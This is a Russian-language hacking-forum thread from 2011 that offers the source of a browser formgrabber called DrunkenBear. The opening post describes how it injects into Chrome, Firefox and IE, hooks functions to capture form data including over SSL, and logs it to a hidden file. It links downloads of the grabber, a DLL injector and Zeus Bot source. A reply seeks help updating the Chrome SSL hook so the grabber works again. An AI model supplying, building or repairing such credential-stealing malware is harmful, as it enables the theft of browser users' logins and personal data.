Formgrabber DrunkenBear. Chrome, Firefox, IE. Source.

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Mentaless, 12 Jul 2011.

  1. Mentaless

    Mentaless New Member

    Joined:
    9 Jul 2011
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0
    Простой пример грабления форм.

    Mодуль при внедрении в процессы браузеров, названия которых перечислены в заголовке темы, перехватывает данные пользователя(в основном нас интересуют данные из форм регистрации) и записывает в файл C:\test.txt с атрибутом скрытый. Поддерживает SSL соединения.

    Описание.
    Перехват методом переписывания первых пяти байт функции и перенаправления на свою. Для это имеется специальный класс Splice. Его методы:

    Code:
    SetSplicingHook(char* funcname,char* modulename, void* pfnHook) - Устанавливает перехват на экспортируемую функцию с именем funcname, из модуля с названием modulename, перенаправляя на адрес заменяющей функции  pfnHook
    
    SetSplicingHookByAdr(void* pfnDst, void* pfnHook,bool SetTramp=true) -  Устанавливает перехват на функцию которая находиться по адресу pfnDst, перенаправляя её на pfnHook. SetTramp - параметр по умолчанию, и если он не задан или =true, то функция будет "думать" что перехватывает pfnDst в первый раз.
    
    UnsetSplicing() - Снимает перехват, возвращая оригинальные байты функции на место.
    
    ReSplice() - Аналог SetSplicingHook и SetSplicingHookByAdr. Используется после UnsetSplicing.
    
    GetHookedFunc() - Возвращает адрес перехватываемой функции т.е. pfnDst.
    
    GetBuffer() - Возвращает адрес буфера где храняться оригинальные байты перехватываемой функции. Можно использовать в качестве "трамплина". После завершения вашей функции просто написать, не используя UnsetSplicing и ReSplice : 
              XXX.GetBuffer();  __asm jmp eax;
     
    Запись в лог ведётся из функции WriteLog(const char * Filename,char * Text) где Filename полный путь до файла куда будут записываться логи и Text строка для записи в файл Filename. Записи не фильтруются. Константа LogFile используется в качестве Filename и равна "C:\\text.txt"

    Описание функций из module_disasm можно посмотреть на сайте автора .

    Функции перехвата имею 2 варианта:
    1. С методом снятия перехвата(UnsetSplicing) и его переустановки(ReSplice).
    2. С методом трамплина(trampoline) . Смотрите описание GetBuffer. Название фукций имеет постфикс "_tramp". Используются по умолчанию.

    Пост написан исключительно в поучительных целях, а именно чего делать нельзя и как именно это сделать :D

    В качестве бонуса к DrunkenBear прикрепляю исходники Zeus Bot.

    Formgrabbers (Password: blotlore.blogspot.com )
    1. deposit
    2. 2share
    DLL Injector (Работает с Chrome и FireFox, а с IE тем более)
    1. deposit
    2. 2share

    Credits Great, slesh, and all antichat. ;-)

    Оригинал
     
    marynli likes this.
  2. LookBehind

    LookBehind New Member

    Joined:
    18 Sep 2011
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    Как известно формграббер для хрома с шифрованием трафика (ssl) уже не работает, думал из-за обновления хрома(соответственно и сигнатуры функции). Найти новую сингатуру функции sslclientsocketnss::write удалось. но формграббер так же продолжает молчать на https запросах. может сигнатуру изменить недостаточно? роль "маски" в функции FindPattern так и не понял. Если кто-нибудь знает , откликнитесь пжл. Сижу на этом уже как неделю.